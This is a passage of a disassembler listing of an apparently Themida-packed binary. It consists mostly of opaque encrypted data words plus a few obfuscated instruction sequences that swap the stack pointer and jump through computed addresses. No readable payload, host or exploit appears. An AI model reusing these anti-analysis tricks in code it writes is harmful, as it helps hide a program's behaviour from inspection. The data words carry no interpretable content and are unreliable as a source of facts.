dd 392E3918h, 413A099Bh, 0EFB01DDCh, 0C3E75CF0h, 0F0F992B9h
dd 224F70DDh, 97388E67h, 0EA70BDF4h, 8BCE634Ch, 0F0F94743h
dd 86123DDDh, 0F7337A19h, 0AF5BE054h, 9917F21Dh, 4CEFD0E4h
dd 15FE2C05h, 6AF03D78h, 9917D8D0h, 0A881AAE4h, 0D75C1537h
dd 75F152C6h, 187DBDCFh, 0EC47E499h, 187ABA4Ch, 0BD16E499h
dd 2647A8F4h, 43D5C66Bh, 9E93FBD7h, 2E0227h, 0E7250000h
dd 0EDAAEFB5h, 123F83A8h, 2228D39h, 63B5E64Bh, 0DC304FF9h
dd 3912B600h, 0DC3272F4h, 0E54EB600h, 0D3423E3Ch, 0B0A51476h
dd 7E000000h, 88155CFFh, 0F63B7617h, 7099EE68h, 0AE1C0FD9h
dd 0CF86A50Ah, 0EBA2C162h, 3377913Fh, 11AF58D1h, 0FE08F226h
dd 0AF58D531h, 3557D372h, 0AF58D4F5h, 3F8B64CFh, 7BB8F194h
dd 0DB902B2h
dd 0E490FBh, 4DD972B6h, 1D005AFAh, 48275D0Dh, 8329DDB6h
dd 0ED327F20h, 0BDEA7CBCh, 0A3BCAC46h, 0C7511840h, 7E81E39h
dd 349F2B66h, 0F4AA5E13h, 94EC7E32h, 1A1AE17h, 77120000h
dd 2A47E83Eh, 0D078DB6Fh, 8CA20D99h, 0B1D27DC9h, 9021AEFCh
dd 1EACE182h, 42D895B5h, 0BC0A43E1h, 0ED397013h, 6159E379h
dd 23B605BFh, 5EFF3EE5h, 92C9713h, 0E7DDFA40h, 0AED80EB5h
dd 0B600054Fh, 55951A35h, 0B6000551h, 690CF76Dh, 0BC92BEC1h
dd 4A23AE94h, 0AEAC75EEh, 1477BEB2h, 0B355h, 5CFFEE00h
dd 76178815h, 0EE68F63Bh, 5C33EA43h, 0ABBDFB48h, 0AF58A9E6h
dd 53D79EBDh, 0CDD123B5h, 3F4FA081h, 0B2E6AFCEh, 9A074EEDh
dd 0E218A311h, 0AE3158h, 7F8937B6h, 0B600AE3Bh, 218ECB68h
dd 0DB5DF608h, 3B8C1A35h, 42842299h, 0BCAB4CF6h, 5C4763CCh
dd 8F30763Bh, 3305A3EEh, 7DEC7F2Dh, 0D9C5BEh, 2F4A0000h
dd 0D27F2066h, 88B01397h, 0B4DA45C1h, 690AB5F1h, 5819E624h
dd 56D499BAh, 0BA004DEDh, 0F4327B19h, 2561284Bh, 29619B41h
dd 1BB605C0h, 5EFF76DDh, 1855F5DEh, 57D6BAFEh, 0B6AF88AFh
dd 0E5ACCF70h, 29619BC1h, 1BAF57D7h, 3512F830h, 88155CFFh
dd 87DC7417h, 3CD5F700h, 8C3F8B64h, 0C9779328h, 0AA0E47E6h
dd 690FA5Ch, 45E7C8B6h, 6897F20Ch, 0D14342C7h, 44AFBBF8h
dd 66C96F22h, 97388EC7h, 0EA70BDF4h, 83206509h, 0ABF80EAAh
dd 0F80F3DF6h, 0C951A57h, 3CFA276Ah, 1C9F1E87h, 5CFF06AFh
dd 0F2E9115h, 2A48D946h, 963FC26Fh, 2E67060Dh, 0EDF87298h
dd 0D6B66D11h, 294CD345h, 0A60B46E8h, 3F721475h, 63C0B9F2h
dd 32771C87h, 937CBCEDh, 3, 0FFCBB0B6h, 138C1158h, 2BF43970h
dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
dd 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 4BE56h, 0F0290000h
dd 2404875Eh, 0E189515Ch, 4C181h, 0E9810000h, 4, 5C240C87h
dd 56240C89h, 0C681E689h, 4, 8704EE83h, 895C2434h, 0FCB9243Ch
dd 51646120h, 592404FFh, 4CF18141h, 6862CCC0h, 3039h, 83242489h
dd 5F042404h, 34BE5651h, 15C9965h, 5E042474h, 8108478Fh
dd 6534086Fh, 34FF5C99h, 0C4835F24h, 240C8B04h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 35h, 0E0h
; ---------------------------------------------------------------------------
loc_5A8553: ; CODE XREF: Themida_:loc_5A7A6Aj
mov eax, 6ADEAB3h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 1DEEACA4h, 76BEEB4Eh, 63DAF390h, 454240A9h, 0EC0F8D8Dh
dd 0BD0106ADh, 6A829F5h, 5B98D89h, 6A06A8h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 1F9F28C3h
dd 146985C7h, 6BC006A8h, 0B5290000h, 6A81DDDh, 0BBD85C7h
dd 6A8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0B2E94EC3h, 0C38B66ACh, 1535B5FFh
dd 850906A8h, 6A82769h, 22718589h, 95FF06A8h, 6A820DDh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9CC35646h
dd 0BB337A20h, 8BFB8B66h, 0FF006AC7h, 0A81B3195h, 0EBC08B06h
dd 621C1Eh, 0CB344314h, 487312C8h, 0BA42C3FBh, 44A22034h
dd 0AB789176h, 0E54A2930h, 0E8BF506Ch, 12h, 5626025Ch
dd 4C13B1E7h, 62B365D2h, 4826CC7Dh, 95892254h, 6A80FA1h
dd 81B58959h, 8106A816h, 6CCCC1h, 0F2BF0F00h, 8B66C033h
dd 834FFDAh, 0AED8589h, 895F06A8h, 0A80A7195h, 0B9F78106h
dd 0BB3B8050h, 5CF31FDBh, 0C501EF81h, 8E9034Dh, 0D2000000h
dd 9FF87342h, 81CE6FEFh, 0DFAD31F7h, 12E918h, 4EF60000h
dd 0D725D152h, 2C70779Ch, 68FE5045h, 0DF923F08h, 0AE857h
dd 0DA9A0000h, 5BAF5AA0h, 5F8C9D4Eh, 0AC1958Bh, 8F5A06A8h
dd 9D8B0104h, 6A83345h, 8E9h, 7A9B3400h, 9148591Ch, 4E8835Ah
dd 2800Fh, 0D88B0000h, 942CF881h, 850FFFFFh, 16h, 3AE9F9h
dd 935F0000h, 204F1C50h, 0E24A9477h, 0BF144C7Dh, 0CE9345Ch
dd 89000000h, 86572D7Ch, 4880DD4Bh, 0E967427Eh, 0FFFFFF45h
dd 0D9086294h, 4D751E1Eh, 3475BF43h, 0FABA70D5h, 831DE6D4h
dd 0EDB08D8Dh, 0F28006ADh, 0B98D89B3h, 6A06A805h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 0A15C356h, 1CA90BE1h, 8BD7CD56h, 0A81F5DBDh, 6985C706h
dd 6006A814h, 0E9000063h, 7, 76789658h, 0C7BCEBADh, 0A80BBD85h
dd 6, 0F0816600h, 0B5FF332Bh, 6A81DA9h, 2C91BD8Bh, 95FF06A8h
dd 6A820DDh, 0FF5BD29h, 6A06A8h, 1B3195FFh, 0C08B06A8h
dd 57630CEBh, 43DDB4ECh, 76A0668Fh, 8E880E5h, 6C000000h
dd 266DC286h, 536AF20Fh, 5A8DEA80h, 81F28B58h, 749FC0h
dd 12E800h, 40360000h, 0D8494200h, 0DF27AA16h, 58DC79FDh
dd 0A9896A00h, 0FAB95AF9h, 0B200001Ch, 66188B6Eh, 0F381F98Bh
dd 7D7BB56Eh, 1A599501h, 0EB8106A8h, 7932DD1Eh, 2CCDBD03h
dd 0C38106A8h, 13ED605h, 128F0Fh, 6E80000h, 58000000h
dd 0A096F0BFh, 1D8D8906h, 5F06A830h, 9D291889h, 6A80B01h
dd 2904E883h, 0A80805B5h, 850F4906h, 1Bh, 2CA98589h, 27E906A8h
dd 2000000h, 0DAF1B56Bh, 0FCD986D5h, 0D57EE54Ch, 89B87382h
dd 0A8320D8Dh, 0FF87E906h, 3633FFFFh, 6AC8539Eh, 89CC0E81h
dd 30E92A6Bh, 90000000h, 64FCE7h, 24300h, 9 dup(0)
dd 0E9000000h, 0CDBh, 0ADF08068h, 5786E906h, 9E68FFFBh
dd 0E906ADF1h, 0FFFB577Ch, 0ADF31568h, 5772E906h, 2968FFFBh
dd 0E906ADF4h, 0FFFB5768h, 0ADF4D968h, 575EE906h, 0E868FFFBh
dd 0E906ADF6h, 0FFFB5754h, 0ADF79C68h, 574AE906h, 4368FFFBh
dd 0E906ADF9h, 0FFFB5740h, 0ADFA2268h, 5736E906h, 9FC7FFFBh
dd 18724065h, 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch, 0A1D57015h
dd 5A7B81F9h, 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh
dd 8B580C11h, 0B9D2130Eh, 104BD94Dh, 0FE3C58BAh, 2A565EA1h
dd 60D24DD0h, 7C218076h, 62F6D039h, 0F52DF10Eh, 0A0C27FDEh
dd 5BF91C29h, 461B0D78h, 904163A0h, 0EEE70F6Fh, 73B2A7F9h
dd 20F22DB0h, 0F9EE52FEh, 6728E8A7h, 1F236F89h, 497F56h
dd 0E5C00000h, 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch
dd 5DC45BDAh, 0B9CF36C9h, 433F0A9Fh, 0A3738DFBh, 0C21C9F7Eh
dd 0A7F67FAEh, 0FAE7EB14h, 58069406h, 0D2B5F4A6h, 12807660h
dd 537C0C8Fh, 1E8F9BBDh, 0E08356h, 0D2AC0000h, 4BD94DB9h
dd 0E331E51Fh, 0CFC37C88h, 7DBC6E92h, 682BD189h, 0C733A4FAh
dd 0F959BCA6h, 3D485EA1h, 0F6E0F620h, 0C80F9200h, 0C5B9584Ah
dd 13A3629Eh, 9BEF8C78h, 78614E0h, 76798DAh, 0A406A75Eh
dd 16E1C239h, 0D45F2336h, 1E1A8911h, 0CE51538Eh, 0EE2FD053h
dd 0F66E608Ch, 76962DA7h, 1D20CD65h, 8CF1B013h, 2CC6E009h
dd 0A2709B53h, 5F53EC4Fh, 0EA4FDF21h, 0B0B4D62Bh, 0FDA2AF87h
dd 69119DA2h, 7624DA80h, 0D747BB20h, 7310F352h, 45F11152h
dd 10AC0CC9h, 0C4BC0E91h, 0DC75C3Eh, 0F5673F8Eh, 0A7A98h
dd 0C8325200h, 53A5D7ABh, 0DB275C32h, 619DC4BAh, 0E8124E3Ch
dd 524C20CBh, 0DBAFCC36h, 5C3253ADh, 0CAB8DD29h, 3C406591h
dd 0E739BFBh, 0F13E580Ch, 4CB6D2DEh, 0D4205B2Fh, 0FCE560B7h
dd 586181BEh, 75BF9E2h, 7727D18Bh, 0E5194032h, 0D83ABF22h
dd 0A7F62CBCh, 3AC7A6F9h, 0A9B71EC3h, 5EE12D3Eh, 0A8FE12CCh
dd 3B44A7F6h, 5896CFC0h, 0A45D228Eh, 0F69E2A42h, 7D3C67A7h
dd 4C6A840Bh, 52561E6Fh, 0DDh, 19E79D11h, 0B9D28796h, 1F4BD94Dh
dd 0FB1B5CE5h, 5EA1FE53h, 0FEF21A7Ch, 64BF5EA1h, 37A766B9h
dd 0A1F9288Dh, 31A1DA5Eh, 167E37E9h, 355639C9h, 30E21641h
dd 0CE302CD5h, 0A15E2DA6h, 4783D4F3h, 0F7700014h, 6A8CB514h
dd 0A406FF73h, 0C5C0E53Ch, 66A93A1Ch, 895F261Eh, 0D1B04C35h
dd 87E3EF30h, 8908A97Dh, 0AE31A259h, 6F9013A2h, 2FFF0963h
dd 0F8F60B8Ah, 0AAC22480h, 0E7AC0A58h, 87B8DDBCh, 9AA7510Bh
dd 0A58DC78h, 870699ACh, 0CDB14B37h, 3F889C5Ch, 5CBB1A88h
dd 4C000009h, 0F5C9EA10h, 62507583h, 0E6D4F905h, 106607FBh
dd 4AF19268h, 0FA007822h, 1FFE5D9h, 8B7F6E5Ch, 17E394EAh
dd 0E9094E76h, 580C0F4Dh, 0D2908F08h, 48B34CB6h, 0F520BD9h
dd 3459D8C1h, 0BCE11546h, 5EB9D26Dh, 3C68BD2Dh, 7CC6AFDFh
dd 0DA683A9Dh, 26AC55A1h, 57FF1FB5h, 225EA121h, 0FC612083h
dd 0ED1250B9h, 8205FBE1h, 9BFB3C7Dh, 5EA12173h, 0FA24E73Eh
dd 5BF93443h, 9321F52Ch, 843052F8h, 0B3A7F934h, 0F9343B53h
dd 702F76A7h, 0E8BA4422h, 6607E649h, 6E936710h, 34A1CD2Dh
dd 0B5ECA7F9h, 33BE60F2h, 0F524BB2Bh, 7F68527Dh, 178768Bh
dd 65593AFDh, 0CB148672h, 0B66498C7h, 0C36EB073h, 622CB359h
dd 0A0DBE1AEh, 0BD3B0A30h, 3D9C7F73h, 56B12A98h, 0DF42D02Ah
dd 93CFC37Ch, 0B574B569h, 182EFF21h, 55E76759h, 0E317407Ah
dd 7FB8275Eh, 0CDEC1EEBh, 2255294Ah, 18C144D6h, 4C45A55Ah
dd 4129EBFDh, 7984BDDEh, 0A784665Fh, 36B5744Ch, 35768BC9h
dd 0C8A8B9D5h, 0EAADF435h, 87C0F515h, 0C3CF3090h, 47DA5DA7h
dd 7D944EDCh, 0C13A60DDh, 56709E31h, 58C18836h, 4F1h, 0FE16BEE9h
dd 0F0205EA1h, 0FE5EA1EEh, 0A15DF03Ah, 5E122C44h, 0D29079A1h
dd 0C63AA12Dh, 279BA47h, 9C9FA808h, 7EA0638Eh, 0A406009Bh
dd 0FE593D64h, 1634748Eh, 7E50984h, 9FC70000h, 18724065h
dd 82F9CDEEh, 70695D7Eh, 0EF9BEF8Ch, 0A1D57015h, 5A7B81F9h
dd 0E3807E64h, 690AFEEFh, 0F5966215h, 0CE6688CFh, 8B580C0Dh
dd 0B9D2130Eh, 9658C129h, 8968A3B7h, 1557B015h, 0FDEC8AECh
dd 6EB15BFDh, 553BA64Dh, 3151EEACh, 0A2AB81D4h, 0A8D97EA1h
dd 0C1B75A5Dh, 58BA0653h, 0AC0B823Ch, 0C4472679h, 6AAE351Ah
dd 0BBF9E637h, 0E2044586h, 1DE8BE4Ah, 74A0C207h, 411DE8BEh
dd 62BC7FDEh, 18B0A527h, 4D29DDE8h, 0A5F1FE9Eh, 4C38B70h
dd 49A9C220h, 6200662Dh, 0F7563968h, 6839A627h, 961B8B7Fh
dd 66ED0969h, 79A86200h, 0AA286996h, 0CC6DC13Dh, 4F3E954Dh
dd 54956758h, 58A09A32h, 0F012D76Bh, 6B58A044h, 6C2F8E11h
dd 0CA91CAF1h, 0AD73926h, 6F1896ABh, 0F14446FFh, 482BBEF8h
dd 0F81476B7h, 0B56B58BBh, 0B9CAAB6Ah, 3147EA42h, 14D32220h
dd 87A5C412h, 7DD150CEh, 16BEA00Ah, 636B582Ah, 0FD61C0h
dd 0E4F8DAEEh, 6D11F76h, 8BFB0000h, 0C7E4C71h, 0FEE5D9FAh
dd 746D6102h, 0EB97EB88h, 0A5C96C11h, 56778DF5h, 0E7847A60h
dd 6D0EFA93h, 0F99A6E19h, 0CA6284CBh, 87580C0Ah, 0FCE5170Ah
dd 246181BEh, 915BF9EBh, 4F439C0Eh, 1318810h, 0E170368Ah
dd 8A0DAC7Eh, 0EBBB4F38h, 0FAE6ECF3h, 8C0F9200h, 31DED3FCh
dd 11ACCE73h, 0A2AE60h, 88779FFFh, 0E342AC0Eh, 4162BD20h
dd 0E88F121h, 1AA7DEACh, 198D8D32h, 0CB63BF7Eh, 9EAC0EBDh
dd 0CD0E3371h, 0B26094C1h, 5472AC6Fh, 19A952E7h, 41EA1486h
dd 51B2A0AAh, 0F94AC05Eh, 89F01740h, 43309275h, 9321226Eh
dd 6218C01h, 5B0B0000h, 0DC8EFCA1h, 4E35892Ah, 0C4BD11B2h
dd 0BB279B38h, 0F5791C41h, 6A75D05h, 9734CAB0h, 1DBE4A23h
dd 0A9CA3EA9h, 9A32549Bh, 0D7580C0Ah, 0FCE5675Ah, 4DC7C0DAh
dd 0A14C812Dh, 9655CC5Eh, 7DDC3FEBh, 0CB6383C4h, 865EA103h
dd 3639C1Fh, 5BFD5965h, 1FF49D28h, 0C42F17A3h, 0D72EB165h
dd 5524D793h, 5BEBAA84h, 0ED1EB020h, 0E73D03C9h, 0C0A302F6h
dd 0BBF118A3h, 0A85E0886h, 0B42775E9h, 69C83453h, 0F1057644h
dd 0CF264250h, 4C8B6A9Eh, 9AC7967Ch, 74E6A949h, 0ED41B526h
dd 0FFC5CA9Eh, 0B35B788Ch, 561A4995h, 1C299h, 1E4A4800h
dd 3F336E4h, 0AA0F9F69h, 0FCE5F8EBh, 0E1FAAADAh, 5E49213h
dd 62179AFCh, 89185BF9h, 8C45EB15h, 52E6A7F9h, 0DF840A7Dh
dd 483D7323h, 0E84BEEBCh, 745A229h, 991998FAh, 0D78A2A1h
dd 4E33BE64h, 0E05E9D66h, 0F7EB57E0h, 0BF4AD958h, 9A07BA5Ch
dd 254629DCh, 40D22651h, 7E99F2h, 0FFD8489Ah, 3699D54Ah
dd 8A773657h, 0F8F637C8h, 56A97D81h, 11F19834h, 0EB4AD5ACh
dd 0FC03F628h, 0B5ECA949h, 3A71718Ch, 325FE1C6h, 92E0E373h
dd 9B3353F9h, 0D6B2A65Ah, 9F3EEC4Fh, 520BEB98h, 9F1E8126h
dd 0A61A2F43h, 0AAE595B2h, 0CEF72244h, 0DF8E0448h, 0DABD4138h
dd 0D126E948h, 35h, 0ADFCE57Eh, 2240AC34h, 0F5B62613h
dd 6C8EB312h, 5BF956ADh, 0E5117176h, 0B0A7F978h, 1CE89D71h
dd 9B37E9BDh, 21A7F978h, 0B6D03E91h, 0B8561F94h, 0B8h
dd 13B9D289h, 0A1FE5BF3h, 0EB9C165Eh, 49DDBC1Fh, 0BD4138B6h
dd 0B86A9EC9h, 5C04B679h, 35A6F4A6h, 0D5B200C1h, 0D02C5529h
dd 1C4FDD51h, 3A9BCBE8h, 655EA1F9h, 951D2E1Eh, 0E2A5074Ah
dd 0B2D32750h, 0B34C0EEBh, 0FF0B7C72h, 5E82CB63h, 0AF1F86A1h
dd 0D75AC83Ch, 3E4BAB54h, 83A40709h, 0F7931F20h, 6E1A680Dh
dd 0E0BB3694h, 0D9F3477h, 41280h, 0B04A3A00h, 3BCDBF13h
dd 43BF249Ah, 0C935AC22h, 50AAD6A4h, 3AE48833h, 0A317B44Eh
dd 249A3BC5h, 522045B1h, 94A8CD39h, 89B3353h, 59D6580Ch
dd 4CB6D266h, 0C7205B2Fh, 72B76799h, 0FC176E93h, 8FA5B737h
dd 67BADB5Ah, 0B44DB9D2h, 274D9049h, 1C9F5048h, 0A84F388Eh
dd 0D958CA30h, 0BEC25576h, 5EA27E12h, 5E7EF41Ch, 7A38A1A1h
dd 2487A5C5h, 51ACA402h, 360D95B6h, 5D68550h, 9C1AE1h
dd 25F9057Ch, 0FF622584h, 6634C8B7h, 4BB260C3h, 5F53ECAEh
dd 0EA4FDF21h, 0B1B4D62Bh, 2A2A8F3h, 12719DFDh, 0E53CAC09h
dd 0D13FA002h, 85173F8Bh, 35E08h, 0EC164E00h, 7781FBCFh
dd 877B6056h, 15E990E6h, 9C660270h, 66185CFFh, 0EFE3807Ah
dd 186E0FF1h, 86F4996Dh, 407C21D5h, 9B7DF3Fh, 0B502580Ch
dd 74139F9Ah, 0C2B50988h, 609B6436h, 6A4EA7FDh, 0E85ADDEFh
dd 596A0BFFh, 0EB485C22h, 0FD78984h, 5879FC4Dh, 0AD28EB04h
dd 0F5F90644h, 0BEB158Fh, 51F8A2A0h, 3AFD3CEEh, 234384C5h
dd 5EA1FC8Bh, 2DC5FC6h, 5BF9F1B7h, 6A752978h, 11857164h
dd 1D00ACCEh, 0D24DA7F6h, 0C26EB073h, 78A7F61Dh, 7F80F7D8h
dd 0E3E97004h, 0F668A6BBh, 0A7F6495Eh, 6109881Bh, 561ECA47h
dd 0B5B4245Fh, 0DE741EEFh, 66CB5BAFh, 3BF30487h, 5C000000h
dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0CD619DCAh, 12748D6Ch
dd 5BF9E297h, 6B950998h, 0A7F62CC7h, 51C533A5h, 0C95DA7C3h
dd 230A85DDh, 26C8C78Bh, 561EE100h, 101EEh, 0B9D23300h
dd 0B7B12029h, 6434DFA3h, 0DF5C9BD1h, 0BA4E3F09h, 59E649E8h
dd 0A12D9D39h, 0E649D85Eh, 0FAE634h, 0EE105192h, 5EA12D46h
dd 6F559013h, 0EB0EBC5Eh, 0FFE85ADDh, 52059B0Bh, 0F8DD05A6h
dd 0EA5EA101h, 81FC05F1h, 0D5830AD4h, 0E28302A0h, 9F0FFBECh
dd 6E93D13Eh, 44A1CD2Dh, 0A8C35EA1h, 0B46BCE5Ch, 1455AA6Dh
dd 441BB3D3h, 0CF565EA1h, 2FFF017Fh, 0EED70B8Ah, 0CB5BFABEh
dd 97703B58h, 0E7EB2CD5h, 0BCD806FAh, 0F9A7F954h, 0F81AE7A6h
dd 0A2A0CA4Bh, 748F928h, 0FF64FE7h, 189B0AACh, 5FFEBE7h
dd 8C761260h, 8D35BF2Eh, 94F96B3Fh, 1B7h, 7617ED91h, 3A05600h
dd 8F2CD08Fh, 11B24E3Bh, 9E3FC5BDh, 0DB8777FFh, 500E7C21h
dd 0CCB90DAEh, 0B4279B38h, 0DEE12340h, 0C0710BCh, 0FDD45D58h
dd 9C79139Fh, 278A18E6h, 971C544h, 0FE214DADh, 356C5EA1h
dd 2A5D3152h, 866997CDh, 0FCE532E5h, 3F4081BEh, 0A1FEB7DFh
dd 4CB82D5Eh, 13CF4ED1h, 0A4061D96h, 96621B9Bh, 50C2A504h
dd 0F62F02AEh, 0B718B8A7h, 1EE03F59h, 9A2F56h, 0D2F00000h
dd 6D94DB9h, 792DD188h, 0A51B725Ch, 0FD5CCF83h, 2AD0883Ah
dd 0EC674678h, 6C1F5EA1h, 0D487FB98h, 0F5931F20h, 3A9D6118h
dd 9A18EB7Bh, 0A45A00EFh, 51D0B3F6h, 0D26F2DCAh, 0FA1455B0h
dd 0DEFF265Bh, 0CF7032DFh, 0A074B7AFh, 9EA302A2h, 0F1926810h
dd 0BF1FE59Dh, 3F8E5C10h, 0D81362F0h, 0F0000000h, 6155768Ch
dd 0EEDC8177h, 1A680DF1h, 9CF2936Fh, 0DE7D1EE4h, 6FCE496h
dd 956B1165h, 1FEB82F0h, 0AB5F087Eh, 55B5FA0Ah, 580C0439h
dd 0D2043B74h, 5B2F4CB6h, 60B7D420h, 903C5E9Fh, 0DD5EA1FEh
dd 315DBD42h, 7C5EA1FEh, 0A7D06225h, 1A4DC353h, 21CECDEEh
dd 0EF10570h, 0A4E791F1h, 6FB65BFDh, 8A7E69BFh, 0B90B0E75h
dd 0BD1440A2h, 3E61A7F3h, 5DC08E3Bh, 92C5B9DAh, 0D0AB466h
dd 9F79A2C7h, 0E31F4A48h, 457F5020h, 1859E612h, 0A0E65EF6h
dd 9881BC9h, 82651664h, 7A8519E5h, 0A0E6FC18h, 8766B9C9h
dd 0B9207624h, 523ED145h, 0E014477Dh, 0C834535Fh, 24F6007Ah
dd 6D610285h, 0B11C8E7Ah, 13h, 0E41FE0BEh, 42386D8Fh, 0ED4A9133h
dd 35BD3A34h, 0D2DCCF4Eh, 44DA48B2h, 0E137E713h, 1C9200F4h
dd 0B40A9866h, 0D66436CCh, 4CC250AAh, 0E735E915h, 9604F8h
dd 14F2A056h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h
dd 23682414h, 8900003Eh, 3B68242Ch, 89000049h, 0BF572414h
dd 6ADEF15h, 3C8BFD89h, 4C48124h, 54000000h, 8124148Bh
dd 4C4h, 0EF895700h, 8BB53h, 0D3010000h, 5F5B3B89h, 5224148Bh
dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 815D2434h, 4C4h
dd 4ABAE900h, 0E89FFFFBh, 0B8651462h, 6ADFB1Fh, 0E0FFC503h
dd 4180BAE3h, 3C4BA0A2h, 3B7CAA75h, 8A3C1B9h, 0A7078BCh
dd 6BB028C5h, 5EE9FA92h, 5DC0923Dh, 6355383h, 636587h
dd 3CC995FBh, 28C9AAE0h, 414D845Dh, 5C3CB686h, 5CBB9A91h
dd 62CB2468h, 2A16F485h, 293F45EDh, 7D147090h, 3893977Eh
dd 2B029DAh, 6F7CCB4Ch, 2BFBF66Bh, 0DCE9h, 0E9079500h
dd 459CD70Fh, 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h
dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h
dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
dd 43F1B6D0h, 0F0A8CDh, 0
dd 129D7447h, 5E99E0E3h, 9 dup(0)
dd 14D0E900h, 0E6680000h, 0E906ADFEh, 0FFFA80D6h, 0AE001068h
dd 80CCE906h, 0EF68FFFAh, 0E906AE00h, 0FFFA80C2h, 0AE022F68h
dd 80B8E906h, 0AA68FFFAh, 0E906AE02h, 0FFFA80AEh, 0AE039C68h
dd 80A4E906h, 3668FFFAh, 0E906AE04h, 0FFFA809Ah, 0AE04D268h
dd 8090E906h, 7C68FFFAh, 0E906AE05h, 0FFFA8086h, 0AE068268h
dd 807CE906h, 9368FFFAh, 0E906AE07h, 0FFFA8072h, 0AE08D068h
dd 8068E906h, 0C168FFFAh, 0E906AE09h, 0FFFA805Eh, 0AE0B2868h
dd 8054E906h, 8968FFFAh, 0E906AE0Ch, 0FFFA804Ah, 0AE0E8F68h
dd 8040E906h, 8C68FFFAh, 0E906AE0Fh, 0FFFA8036h, 0E9CD574h
dd 79CD88A5h, 0AFFBB2D6h, 9F2B6E04h, 0C85E1334h, 43E42E43h
dd 7717B80Eh, 2143EC3Ah, 0D271D268h, 4D9F0F9Bh, 5D3FF3Bh
dd 9887C5B6h, 0F09D5CFFh, 463F68B5h, 34CB0DD9h, 6C812238h
dd 0C5BEFB98h, 0E0A9CC53h, 8B3E15Ah, 0A045A8D2h, 143FB600h
dd 0C870538Fh, 0D5D11781h, 0F1B6009Fh, 0AD99991Ah, 4814771Bh
dd 45h, 0EB5E7D3h, 54FAED8h, 0C711B600h, 0D380EB69h, 0C6100996h
dd 247463E5h, 6AEC311Ah, 0B6008A2Ah, 3644ED46h, 1477655Ah
dd 120BDh, 0EF194700h, 0B60095ABh, 960F0BBDh, 5AF5B600h
dd 1F3EAF88h, 58D0C956h, 0EA1CBA53h, 0AF57D6AEh, 0CC1E57F5h
dd 0CB6A3563h, 0DEC11D82h, 7FA8F5B0h, 98D57639h, 0ADE08162h
dd 6407980Bh, 7C1F802Dh, 4DD29BBDh, 3927635Ch, 0FF567FBFh
dd 4FB02921h, 0E13A6722h, 0C95FB1B7h, 2144AF58h, 0D271D268h
dd 2795169Bh, 0DFC06E9Ch, 71AAF7B2h, 0D09A2127h, 0A4CB600h
dd 0C2A00BB2h, 39C751FCh, 6A11ECFFh, 0DEB73D28h, 6E5DFF48h
dd 0FB3F49C1h, 0C9B600AFh, 6E9C756Eh, 0AB5184DCh, 3E5D7EBCh
dd 18F12A77h, 296C01E2h, 0EC2C5E84h, 0D6BCAB50h, 0CE14847Dh
dd 0BD0944E5h, 8C3C7112h, 0EC7F4483h, 32552E8Dh, 19000012h
dd 50F3377Eh, 7F206623h, 0A90A90D9h, 0D97AC085h, 2AB1F5B8h
dd 0A7EA8B87h, 0D39EC063h, 148EC57h, 327B1A85h, 50EA70F4h
dd 0B605D558h, 0FF47EC2Ah, 849DF25Eh, 2F0490DDh, 0A90AF036h
dd 4F58C588h, 6E2746E9h, 0B0E812B8h, 0F3AF57E8h, 61CA1C55h
dd 79A74D37h, 57E8CBCFh, 1A9EB9AFh, 0EB5E711h, 0AB38B2D8h
dd 9DFBAB93h, 0B5C81E9Ah, 8FB6007Ch, 69E37FA4h, 4E348546h
dd 0BD4BED97h, 0B6005679h, 0E5F5BE15h, 1477A909h, 11B9DBC4h
dd 8FE67B78h, 0E3352EE9h, 0D351h, 5CFFEA00h, 71528815h
dd 8F1098DDh, 0FC7EA3EEh, 0AF57DBA2h, 0FF2B6201h, 0A1FAB17Dh
dd 1F9948FAh, 226B0AB5h, 32C57284h, 0D8C339B5h, 8A2AF350h
dd 0DD6F9531h, 0AF5829DDh, 0C62C8CA7h, 323584h, 0E6240FB6h
dd 0BFFA9778h, 0B50EAE79h, 0C08DAE11h, 0D7788268h, 0ADBCAAD0h
dd 0D67B6482h, 0B1DF0593h, 91802C4Eh, 0A29AC167h, 47E84039h
dd 54BF6B26h, 61077831h, 6928B28h, 120456BCh, 0B9C8408Fh
dd 3D5EC157h, 61C14870h, 0E0C3EC80h, 11081Fh, 148EF00h
dd 30751A85h, 662F49EAh, 96D37F20h, 0C38EAF10h, 59B9F847h
dd 8E317538h, 0BA65A1ECh, 0EC57D39Ah, 22BA0049h, 0D78A8E38h
dd 3278B605h, 0EA1CBA15h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h
dd 9CBB0F46h, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h
dd 5DFBA4E2h, 70538F14h, 0F8304AC2h, 0CAAF57D6h, 7F208861h
dd 8E7195DCh, 22FA7EEh, 0D2187056h, 0D68B71A7h, 96A517F6h
dd 27C3BCF9h, 3176E5h, 85E34CB6h, 8A624443h, 6ED547ADh
